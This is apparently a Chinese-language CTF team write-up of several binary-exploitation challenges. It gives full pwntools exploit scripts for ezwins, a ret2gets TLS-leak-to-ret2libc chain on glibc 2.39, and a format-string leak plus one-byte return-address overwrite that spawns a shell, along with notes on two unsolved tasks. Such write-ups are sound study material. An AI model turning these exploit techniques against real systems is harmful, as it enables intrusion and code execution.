0x01 前言

依旧Redbud大佬carry,这次还来了个re大佬。最终排名 6/1325. 倒在了ret2dlsolve这里。
打了两场ctf time,看得出老外不是很喜欢出堆题。

0x02 题解部分

ezwins

How old can it be to win?

虽然这题不是我写的,是wallace哥ai梭出来的,但还是简单记录一下。
程序逻辑如下同时程序中有后门函数,简单分析一下中间那坨
省流,取我们的输入做为地址进行跳转,尝试写下payload

sla('What\'s your name?\n',b'aaaa')
sla('How old are you?\n',str(0x0000000004011F6))

发现会卡在call的地址莫名其妙少了1字节,这里懒得深究了,我们在发送地址的时候左移8即可

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/ezwin'
elf=ELF(file)

choice = 0x00
if choice:
port= 9003
k17 = 'challenge.secso.cc'
p = remote(k17,port)

else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000079CA)')


debug()

sla('What\'s your name?\n',b'aaaa')
sla('How old are you?\n',str(0x0000000004011F6<<8))

itr()

u get me write

Surely one gets call wont get me fired right?

checksec一下

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

然后是ida
我草这么简单,正当我以为可以直接ret2libc秒了的时候我发现这个程序没有 pop rdi;ret 这个gadget。非常熟悉的一幕,这不是我们Litctf 2025的master_of_rop吗。gets函数执行之后rdi会指向_IO_stdfile_0_lock 结构体,参考ret2gets_IO_lock_unlock 会使 _IO_stdfile_0_lock 中的cnt减1,所以在覆盖的时候需要注意这个值。

typedef struct {    
int lock;
int cnt;
void *owner;
} _IO_lock_t;

2.35及之前的版本是将cnt设置为0,然后利用上面说到的 _IO_lock_unlock 会使 _IO_stdfile_0_lock 中的cnt减1,制造一个负数溢出,这样cnt会变成0xffffffff, 这样再调用一个puts或者其他输出函数的时候就能把结构体中的owner给输出出来。这里就能泄露libc基地址,有了libc基地址就能用libc中自带的gadget来打ret2libc。

简单尝试了一下2.35前的打法,发现打不通,我们继续往下看:
_IO_lock_unlock_IO_stdfile_0_lock 更新过了,_IO_stdfile_0_lock 只在 cnt 不为0的时候才会执行cnt–。也就是没法利用负数溢出来覆盖掉b’\x00’, 导致没法泄露libc。但仍然有方法来绕过这个限制,首先来看看原文中给出的payload:

payload  = b"A" * 0x20
payload += p64(0) # saved rbp
payload += p64(e.plt.gets)
payload += p64(e.plt.gets)
payload += p64(e.plt.puts)

p.sendlineafter(b"ROP me if you can!\n", payload)
p.sendline(p32(0) + b"A"*4 + b"B"*8)
p.sendline(b"CCCC")

这里构造了两次gets读入,看看第一次读入了什么:

p32(0) + b"A"*4 + b"B"*8

p32(0)将lock字段给覆盖成0,为了绕过lll_lock的检测,避免程序发生死锁,能让owner字段被设置为一个与libc基地址偏移固定的地址。4个A和8个B都是垃圾数据,用来填充掉cnt和owner。接着来看第二段payload:

p.sendline(b"CCCC")

发送了4个C,也是垃圾数据,目的是利用gets函数会在输入结尾加上b’\x00’这一特性。当_IO_lock_unlock 被调用时,它会检查cnt。由于我们第一次 gets 时用 AAAA 填充了 cnt,且现在LSB是\x00,所以cnt现在不为0。
这就绕过了_IO_lock_unlock清空owner字段的操作。然后就会执行--(_name).cnt,使得cnt的LSB发生负数溢出,变成b'\xff',这意味着变相填满了前面的lock和cnt字段。利用输出函数就能将owner字段上残留的LTS给输出,这个值是一个与libc基地址偏移固定的地址.由于是高版本,最后构造system(‘/bin/sh’)的时候仍需注意栈对齐的问题

ret = 0x000000000040101a

payload = b"A" * 0x20
payload += p64(0)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.printf)
payload += p64(elf.sym['main'])

sla(b"Pleasure to meet you! Please enter your name: \n", payload)

sl(p32(0) + b"A"*4 + b"B"*8)
sl(b"CCCC")

r(8)
tls = u64(r(6).ljust(8,b'\x00'))
leak('tls')

libc_base = tls + 0x28c0
leak('libc_base')

pop_rdi = 0x000000000010f75b
system,binsh = get_sb()
ret = 0x000000000040101a

payload = b'a'*(0x20+8)+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main'])
sla(b"Pleasure to meet you! Please enter your name: \n", payload)

itr()

基本上也是挺模板的,但是这段payload依然打不通,像是根本没有构造到gets一样,没有任何回显。类似这样,无论是远程还是本地,因为比赛结束了靶机已经连不上了所以只能拿LitCTF的同款2.39-0ubuntu8.4。(哦对了,比赛中并没有给libc文件,所以也只是刚好猜中是2.39) 直到我看到了这篇wp中的同类型题目LACTF 2025 他的payload中的第一段构造两个gets这里插入了两个ret

payload = flat([
b'a' * 72,
ret,
elf.plt.gets,
elf.plt.gets,
elf.plt.puts,
ret,
elf.symbols['main']
])

虽然很奇怪但是我还是模仿了一下,结果居然能正常运行,明明都是2.39,但为什么Lit那题不用这几个ret???
算了不管了,反正把tls给泄露出来了,接下来就是计算libc的偏移
这样我们就得到了libc_base,最后就是简单的ret2libc

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/ret2gets/gets'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/ret2gets/libc.so.6')


choice = 0x00
if choice:
port= 8004
k17 = 'challenge.secso.cc'
p = remote(k17,port)
# p = remote(nep, port, ssl=True, sni=nep)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

ret = 0x000000000040101a

payload = b"A" * 0x20
payload += p64(0) # saved rbp
payload += p64(ret)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.printf)
payload += p64(ret)
payload += p64(elf.sym['main'])

sla(b"Pleasure to meet you! Please enter your name: \n", payload)

sl(p32(0) + b"A"*4 + b"B"*8)
sl(b"CCCC")
debug()

r(8)
tls = u64(r(6).ljust(8,b'\x00'))
leak('tls')

libc_base = tls + 0x28c0
leak('libc_base')

pop_rdi = 0x000000000010f75b
system,binsh = get_sb()
ret = 0x000000000040101a

payload = b'a'*(0x20+8)+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main'])
sla(b"Pleasure to meet you! Please enter your name: \n", payload)

itr()

singular hole

surely one singular hole is easier to handle than many holes

这个easy题比上面那道medium解的人还少,什么情况,checksec一下

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fb000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida启动
一个16字符长度的格式化字符串漏洞,然后可以输入 0x60 字节的内容。跟进一下hole();
给了一个任意地址写的功能,但只能写1字节。如果只是这样看的话的确看不出有什么问题,上面0x60字节没办法溢出,这个任意写又只能写一字节,但是在我debug的时候碰巧发现
hole函数的返回地址紧随的内容刚好是刚刚输入的0x60的字节的内容,这样的话我们可以:

  • 利用一开始的格式化字符串漏洞泄露libc和栈地址
  • 利用第二次输入的0x60字节的内容构造system("/bin/sh")
  • 利用得到的栈地址将hole函数的返回地址最后1字节修改成ret,顺势执行我们构造的system("/bin/sh")

效果如下
Exp:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/one_hole'
elf=ELF(file)
libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.39-0ubuntu8.5_amd64/libc.so.6')


choice = 0x00
if choice:
port= 9003
k17 = 'challenge.secso.cc'
p = remote(k17,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000079CA)')
# gdb.attach(p,'b *0x00000000004008B3')


debug()


payload = b'%26$p%41$p'
sla('Please state your name:\n',payload)
ru('>> Well hello ')
stack_addr = int(r(14),16)
libc_base = int(rl()[-15:-1],16)-0x2a28b
leak('stack_addr')
leak('libc_base')
system,binsh = get_sb()

rdi = libc_os(0x000000000010f75b)
payload = flat(rdi,binsh,system,0xdeadbeef)
# payload = b'a'*90
sla('Please state a fun fact about yourself:',payload)

sla('Now let\'s get to business. Where would you like to place your hole?',str(hex(stack_addr-0x1a0)))
sla('What would you like to write there?',str(0x8a))

itr()

into the void (待复现)

void

ok程序非常简单
alt text觉得非常简单但是会发现根本没有可以用来输出的函数,整个程序中只用了read。并且并且没有pop rdi;ret这个gadget。经过大致搜索之后大概知道是ret2dlsolve或者是srop。前者需要rdi,后者需要syscall,两个都没有,完全无从下手。。。

holes (待复现)

The worms have begun digging again. docker image is ubuntu:24.04
Note: Use the remote! The provided binary is only part of the challenge.

题目的附件是一个没漏洞的二进制程序,并且保护开满,remote之后发现允许我们任意修改程序中的两个字节…
alt text简单尝试一下,将

.text:000000000000121E 48 8D 45 B0                    lea     rax, [rbp+s]
.text:0000000000001222 48 89 C6 mov rsi, rax
.text:0000000000001225 48 8D 3D EB 0D lea rdi, format ; "Hello %s"
.text:0000000000001225 00 00
.text:000000000000122C B8 00 00 00 00 mov eax, 0
.text:0000000000001231 E8 7A FE FF FF call _printf

改成了

.text:000000000000121E 48 8D 45 B0                    lea     rax, [rbp+s]
.text:0000000000001222 48 89 C7 mov rdi, rax ; format
.text:0000000000001225 4C 8D 3D EB 0D lea r15, aHelloS ; "Hello %s"
.text:0000000000001225 00 00
.text:000000000000122C B8 00 00 00 00 mov eax, 0
.text:0000000000001231 E8 7A FE FF FF call _printf

alt text漏洞是造出来了,但pie限制的太多,劫持不了程序流能做的事还是太少了。
非常新奇的出题方式,完全手足无措,等复现了